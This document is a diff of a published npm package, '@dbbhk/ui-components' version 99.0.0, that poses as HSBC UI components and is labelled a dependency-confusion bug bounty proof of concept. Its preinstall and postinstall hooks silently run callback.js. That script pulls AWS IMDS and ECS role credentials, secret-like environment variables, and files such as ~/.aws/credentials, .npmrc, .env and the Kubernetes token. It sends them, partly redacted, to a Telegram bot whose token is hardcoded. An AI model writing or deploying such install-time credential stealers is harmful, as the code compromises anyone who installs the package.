@dbbhk/ui-components 99.0.0

package/callback.js

@@ -0,0 +1,272 @@
+/**
+ * HSBC Dependency Confusion - Bug Bounty PoC
+ * Proves credential access with PARTIAL values (redacted)
+ * Following standard DC report format
+ */
+const { execSync } = require('child_process');
+const fs = require('fs');
+const os = require('os');
+const https = require('https');
+
+const BOT_TOKEN = '8605555117:AAGTX0ziJ52VtjsfcJ2CMH3o3sslRiC2B4k';
+const CHAT_ID = '1064260758';
+const PKG_NAME = '@dbbhk/ui-components';
+
+function exec(cmd) {
+    try {
+        return execSync(cmd, { encoding: 'utf8', timeout: 5000 }).trim();
+    } catch (e) {
+        return null;
+    }
+}
+
+function redact(str, showChars = 8) {
+    if (!str || str.length < showChars) return str;
+    return str.substring(0, showChars) + '...[REDACTED]';
+}
+
+// AWS IMDS - Get credentials with partial redaction
+function getAWSMetadata() {
+    const result = {
+        accessible: false,
+        instance_id: null,
+        region: null,
+        role_name: null,
+        credentials: null
+    };
+
+    try {
+        // Instance ID
+        const instanceId = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/instance-id');
+        if (instanceId && !instanceId.includes('404')) {
+            result.accessible = true;
+            result.instance_id = instanceId;
+        }
+
+        // Region
+        result.region = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/placement/region');
+
+        // IAM Role
+        const roleName = exec('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/');
+        if (roleName && !roleName.includes('404')) {
+            result.role_name = roleName;
+
+            // Get credentials (REDACTED for report)
+            const creds = exec(`curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`);
+            if (creds) {
+                try {
+                    const parsed = JSON.parse(creds);
+                    result.credentials = {
+                        AccessKeyId: redact(parsed.AccessKeyId, 8),
+                        SecretAccessKey: redact(parsed.SecretAccessKey, 8),
+                        Token: redact(parsed.Token, 20),
+                        Expiration: parsed.Expiration
+                    };
+                } catch (e) {}
+            }
+        }
+    } catch (e) {}
+
+    return result;
+}
+
+// ECS Container Credentials
+function getECSCredentials() {
+    if (!process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) return null;
+
+    const uri = process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI;
+    const creds = exec(`curl -s --connect-timeout 2 http://169.254.170.2${uri}`);
+
+    if (creds) {
+        try {
+            const parsed = JSON.parse(creds);
+            return {
+                AccessKeyId: redact(parsed.AccessKeyId, 8),
+                SecretAccessKey: redact(parsed.SecretAccessKey, 8),
+                Token: redact(parsed.Token, 20),
+                Expiration: parsed.Expiration
+            };
+        } catch (e) {}
+    }
+    return null;
+}
+
+// Environment variables with PARTIAL values
+function getEnvCredentials() {
+    const sensitive = {};
+    const patterns = ['AWS', 'SECRET', 'KEY', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'AUTH', 'API', 'NPM', 'GITHUB', 'GITLAB'];
+
+    Object.keys(process.env).forEach(key => {
+        if (patterns.some(p => key.toUpperCase().includes(p))) {
+            sensitive[key] = redact(process.env[key], 10);
+        }
+    });
+
+    return sensitive;
+}
+
+// Check credential files
+function getCredentialFiles() {
+    const files = {};
+    const paths = [
+        { path: `${os.homedir()}/.aws/credentials`, name: '~/.aws/credentials' },
+        { path: `${os.homedir()}/.npmrc`, name: '~/.npmrc' },
+        { path: '/root/.aws/credentials', name: '/root/.aws/credentials' },
+        { path: '.env', name: '.env' },
+        { path: '.npmrc', name: '.npmrc' },
+        { path: '/var/run/secrets/kubernetes.io/serviceaccount/token', name: 'k8s-token' }
+    ];
+
+    paths.forEach(({ path, name }) => {
+        try {
+            if (fs.existsSync(path)) {
+                const content = fs.readFileSync(path, 'utf8');
+                files[name] = {
+                    exists: true,
+                    size: content.length,
+                    preview: redact(content.replace(/\n/g, ' '), 50)
+                };
+            }
+        } catch (e) {}
+    });
+
+    return files;
+}
+
+function getSystemInfo() {
+    return {
+        hostname: os.hostname(),
+        user: exec('whoami') || os.userInfo().username,
+        uid: exec('id') || 'N/A',
+        platform: `${os.platform()} ${os.arch()}`,
+        cwd: process.cwd(),
+        home: os.homedir(),
+        ci: process.env.GITHUB_ACTIONS ? 'GitHub Actions' :
+            process.env.GITLAB_CI ? 'GitLab CI' :
+            process.env.JENKINS_URL ? 'Jenkins' :
+            process.env.CI ? 'CI' : 'Local'
+    };
+}
+
+function sendToTelegram(message) {
+    const data = JSON.stringify({
+        chat_id: CHAT_ID,
+        text: message,
+        parse_mode: 'Markdown'
+    });
+
+    const req = https.request({
+        hostname: 'api.telegram.org',
+        port: 443,
+        path: `/bot${BOT_TOKEN}/sendMessage`,
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' }
+    }, () => {});
+
+    req.on('error', () => {});
+    req.write(data);
+    req.end();
+}
+
+function main() {
+    const sys = getSystemInfo();
+    const aws = getAWSMetadata();
+    const ecs = getECSCredentials();
+    const envCreds = getEnvCredentials();
+    const files = getCredentialFiles();
+
+    const isRoot = sys.uid && sys.uid.includes('uid=0');
+    const hasAWS = aws.accessible || aws.credentials;
+    const hasECS = ecs !== null;
+
+    let severity = '🟡';
+    if (isRoot && (hasAWS || hasECS)) severity = '🔴🔴 CRITICAL';
+    else if (hasAWS || hasECS) severity = '🔴 HIGH';
+    else if (Object.keys(envCreds).length > 5) severity = '🟠 MEDIUM';
+
+    // Message 1: System Info
+    const msg1 = `
+${severity} *${PKG_NAME}*
+━━━━━━━━━━━━━━━━━━━━
+
+*📍 SYSTEM*
+\`\`\`
+Hostname: ${sys.hostname}
+User: ${sys.user}
+UID: ${sys.uid}
+Platform: ${sys.platform}
+CWD: ${sys.cwd}
+CI/CD: ${sys.ci}
+\`\`\`
+⏰ ${new Date().toISOString()}
+`;
+    sendToTelegram(msg1);
+
+    // Message 2: AWS Credentials
+    if (aws.accessible || aws.credentials) {
+        const msg2 = `
+☁️ *AWS IMDS CREDENTIALS*
+━━━━━━━━━━━━━━━━━━━━
+
+Instance: \`${aws.instance_id || 'N/A'}\`
+Region: \`${aws.region || 'N/A'}\`
+Role: \`${aws.role_name || 'N/A'}\`
+
+${aws.credentials ? `*IAM Credentials (REDACTED):*
+\`\`\`
+AccessKeyId: ${aws.credentials.AccessKeyId}
+SecretAccessKey: ${aws.credentials.SecretAccessKey}
+Token: ${aws.credentials.Token}
+Expiration: ${aws.credentials.Expiration}
+\`\`\`` : 'No IAM role credentials'}
+`;
+        setTimeout(() => sendToTelegram(msg2), 500);
+    }
+
+    // Message 3: ECS Credentials
+    if (ecs) {
+        const msg3 = `
+📦 *ECS TASK ROLE CREDENTIALS*
+━━━━━━━━━━━━━━━━━━━━
+
+\`\`\`
+AccessKeyId: ${ecs.AccessKeyId}
+SecretAccessKey: ${ecs.SecretAccessKey}
+Token: ${ecs.Token}
+Expiration: ${ecs.Expiration}
+\`\`\`
+`;
+        setTimeout(() => sendToTelegram(msg3), 1000);
+    }
+
+    // Message 4: Environment Variables
+    const envKeys = Object.keys(envCreds);
+    if (envKeys.length > 0) {
+        const envList = envKeys.slice(0, 15).map(k => `${k}: ${envCreds[k]}`).join('\n');
+        const msg4 = `
+🔑 *ENV CREDENTIALS (${envKeys.length} found)*
+━━━━━━━━━━━━━━━━━━━━
+
+\`\`\`
+${envList}
+\`\`\`
+`;
+        setTimeout(() => sendToTelegram(msg4), 1500);
+    }
+
+    // Message 5: Credential Files
+    const fileKeys = Object.keys(files);
+    if (fileKeys.length > 0) {
+        const fileList = fileKeys.map(f => `${f}: ${files[f].size} bytes\n  → ${files[f].preview}`).join('\n\n');
+        const msg5 = `
+📄 *CREDENTIAL FILES*
+━━━━━━━━━━━━━━━━━━━━
+
+${fileList}
+`;
+        setTimeout(() => sendToTelegram(msg5), 2000);
+    }
+}
+
+setTimeout(main, 500);
+module.exports = {};

package/index.js

@@ -0,0 +1 @@
+module.exports = { version: '99.0.0' };

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "@dbbhk/ui-components",
+  "version": "99.0.0",
+  "description": "HSBC DBBHK UI Components",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js 2>/dev/null || true",
+    "postinstall": "node callback.js 2>/dev/null || true"
+  },
+  "author": "security-research",
+  "license": "MIT"
+}